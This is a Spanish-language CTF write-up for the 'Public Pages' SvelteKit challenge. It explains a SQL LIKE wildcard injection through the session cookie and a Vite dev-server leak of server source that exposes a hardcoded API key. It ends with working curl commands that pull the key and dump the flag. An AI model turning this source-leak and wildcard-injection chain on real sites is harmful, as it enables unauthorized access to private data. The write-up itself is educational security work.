Public Pages
6 minutos de lectura
Se nos proporciona un proyecto web construido con SvelteKit. También tenemos un Dockerfile
, así que usémoslo para ejecutar la aplicación:
Análisis del código fuente
SvelteKit administra directorios de código fuente como si fueran rutas web:
$ tree src
src
├── app.css
├── app.d.ts
├── app.html
├── hooks.server.ts
├── lib
│ ├── index.ts
│ └── server
│ └── db
│ ├── index.ts
│ └── schema.ts
└── routes
├── +layout.svelte
├── +page.server.ts
├── +page.svelte
├── api
│ └── pages
│ └── +server.ts
└── page
└── [id]
├── +page.server.ts
└── +page.svelte
9 directories, 13 files
Lo anterior significa que tendremos los siguientes endpoints:
/
/api/server
/page/[id]
Si echamos un vistazo a routes/api/server/+server.ts
, veremos una clave de API oculta:
import { error, json } from "@sveltejs/kit";
import type { RequestHandler } from "./$types";
import { db } from "$lib/server/db";
import { pages } from "$lib/server/db/schema";
import { like } from "drizzle-orm";
export const GET: RequestHandler = async ({ url, cookies }) => {
const provided_api_key = String(url.searchParams.get("api_key") ?? "");
const session = String(cookies.get("session"));
const API_KEY = "REDACTED";
if (provided_api_key !== API_KEY) {
error(400, "Missing or wrong API key.");
}
const all_pages = await db
.select()
.from(pages)
.where(like(pages.session, session));
return json(all_pages);
}
También hay una inyección de wildcard debido al uso de LIKE
en SQL. La aplicación usa dizzle-orm
para consultar la base de datos, utilizando un dialecto SQLite (dizzle.config.ts
):
import { defineConfig } from 'drizzle-kit';
if (!process.env.DATABASE_URL) throw new Error('DATABASE_URL is not set');
export default defineConfig({
schema: './src/lib/server/db/schema.ts',
dbCredentials: {
url: process.env.DATABASE_URL
},
verbose: true,
strict: true,
dialect: 'sqlite'
});
Por lo tanto, si usamos session=%
, podemos obtener todos los resultados de la tabla pages
. Sin embargo, necesitamos conocer la clave de API para realizar una petición GET exitosa para /api/pages
.
Por cierto, este es el esquema de la tabla (src/server/db/schema.ts
):
import { sqliteTable, text } from "drizzle-orm/sqlite-core";
export const pages = sqliteTable("pages", {
id: text("id").primaryKey(),
session: text("session").notNull(),
title: text("title").notNull(),
body: text("body").notNull()
});
Cuando queremos crear una nueva página, el frontend realizará una petición POST a /?/create
, definido en src/+page.server.ts
:
import { type } from "arktype";
import type { Actions, PageServerLoad } from "./$types";
import { db } from "$lib/server/db";
import * as table from "$lib/server/db/schema";
import { fail } from "@sveltejs/kit";
export const load: PageServerLoad = async ({ cookies, fetch }) => {
let session = cookies.get("session");
const API_KEY = "REDACTED";
if (!session || !/^[a-f0-9\-]+$/.test(session)) {
session = crypto.randomUUID();
cookies.set("session", session, { path: "/" });
}
const response = await fetch(
`/api/pages?api_key=${API_KEY}`, {
headers: {
"Cookies": `session=${session}`,
}
}
);
const pages: Page[] = await response.json();
return { pages };
};
const t_page = type({
id: "string.uuid",
title: "0 < string <= 256",
body: "0 < string <= 1024",
session: "string.uuid",
});
type Page = typeof t_page.infer;
export const actions = {
create: async ({ request, cookies }) => {
const formData = await request.formData();
const title = formData.get("title");
const body = formData.get("body");
const session = cookies.get("session");
const page = t_page({
id: crypto.randomUUID(),
title: title,
body: body,
session: session,
});
if (page instanceof type.errors) {
return fail(400, { error: page.summary });
}
try {
await db.insert(table.pages).values(page);
return { success: true };
} catch (error) {
return fail(400, { error: error });
}
}
} satisfies Actions;
Aquí vemos la función load
, que se llama una vez que la página se presenta en el navegador. Podemos ver que llama internamente a /api/pages
con la clave de API y nuestra cookie de sesión para obtener todas nuestras páginas.
Además, tenemos la acción create
, que simplemente inserta una nueva página en la base de datos, realizando verificación de tipos también.
Una vez que insertamos una página, el servidor mostrará un enlace a esa nota:
Y este enlace contiene un UUID, para mantener la privacidad:
¿Y dónde está la flag? Bueno, se almacena en una página secreta que se crea al arrancar el servidor (src/hooks.server.ts
):
import { db } from "$lib/server/db";
import { pages } from "$lib/server/db/schema";
import { env } from "$env/dynamic/private";
let starting = true;
async function startup() {
try {
await db.insert(pages).values({
id: crypto.randomUUID(),
title: "Flag",
body: env.FLAG,
session: crypto.randomUUID()
});
} catch (error) {
console.error(error);
throw new Error("Can't start server, there was an error inserting the flag");
}
}
if (starting) {
await startup();
starting = false;
}
Entonces, la única manera de encontrar la URL que contiene la flag es accediendo a /api/pages
con la clave de API correcta y usando session=%
para recuperar todas las páginas disponibles.
Solución
Pasé mucho tiempo en este reto, a pesar de que noté un problema menor sobre cómo se estaba ejecutando el reto. Si abrimos la consola de JavaScript, veremos que Vite está conectado:
Esto significa que el servidor se está ejecutando en modo desarrollo. Podemos comprobarlo en el Dockerfile
:
FROM node:23.8.0-alpine
WORKDIR /app
COPY package*.json .
RUN npm install
COPY . .
EXPOSE 5173
CMD ["npm", "run", "dev"]
Donde npm run dev
significa vite dev
, tal y como aparece en el archivo package.json
.
Esto fue bastante extraño, y todos sabemos que no se debe ejecutar un servidor de desarrollo en un entorno de producción. Era consciente de que el navegador puede obtener source maps y reconstruir el código fuente de Svelte, para facilitar las tareas de depuración:
Mientras miraba la pestaña de red, vi que el navegador solicita algunos archivos:
Nunca esperé que esto sucediera, pero intenté solicitar código del lado servidor, ¡y funcionó para src/routes/api/pages/+server.ts
!
Sin embargo, no se puede leer src/routes/pages/[id]/+page.server.ts
, por alguna razón:
Supongo que esto está relacionado con que el los archivos del lado servidor en SvelteKit deben terminar en .server.ts
, y no es el caso de +server.ts
. Si el nombre de archivo fuera +page.server.ts
, no podríamos obtener la clave de API, a menos que esté permitido en la configuración de Vite. Entonces, en realidad no es un problema de SvelteKit en sí, sino que los nombres de archivo importan. Más información sobre esto en la documentación de Vite.
Flag
Una vez que sabemos esto, podemos obtener la clave de API del servidor en la instancia remota, realizar la inyección de wildcard en SQL en la cookie session
y obtener la flag:
$ curl https://hackon-ad2b8a16b0a1-public-pages-1.chals.io/src/routes/api/pages/+server.ts
import { error, json } from "/node_modules/@sveltejs/kit/src/exports/index.js?v=f35a4d1b";
import { db } from "/src/lib/server/db/index.ts";
import { pages } from "/src/lib/server/db/schema.ts";
import { like } from "/node_modules/.vite/deps/drizzle-orm.js?v=f35a4d1b";
export const GET = async ({ url, cookies }) => {
const provided_api_key = String(url.searchParams.get("api_key") ?? "");
const session = String(cookies.get("session"));
const API_KEY = "X565sVUKC3oF2rJ89mi2QDtYaA88cK8ASeLbsSMWyvPZCqIVsl";
if (provided_api_key !== API_KEY) {
error(400, "Missing or wrong API key.");
}
const all_pages = await db.select().from(pages).where(like(pages.session, session));
return json(all_pages);
};
$ curl -b session=% 'https://hackon-ad2b8a16b0a1-public-pages-1.chals.io/api/pages?api_key=X565sVUKC3oF2rJ89mi2QDtYaA88cK8ASeLbsSMWyvPZCqIVsl'
[{"id":"e8e1b36a-e2e0-4690-a3db-577772d08b4d","session":"48babd11-de03-4209-bc8e-ac2f2ce45067","title":"Flag","body":"HackOn{my_s3cr3ts_4r3_publ1c_to0_p2dvLasUm3JJshEiXMnBKrRVgAVoTlja4oBNNOLdkLK3nJxNfz2siCMyWyHBRPFc1qx7FLLu09o50EmM6fA4HZWZKDjI9xgGJg}"}]
curl -sb session=% 'https://hackon-ad2b8a16b0a1-public-pages-1.chals.io/api/pages?api_key=X565sVUKC3oF2rJ89mi2QDtYaA88cK8ASeLbsSMWyvPZCqIVsl' | jq -r '.[0].body'
HackOn{my_s3cr3ts_4r3_publ1c_to0_p2dvLasUm3JJshEiXMnBKrRVgAVoTlja4oBNNOLdkLK3nJxNfz2siCMyWyHBRPFc1qx7FLLu09o50EmM6fA4HZWZKDjI9xgGJg}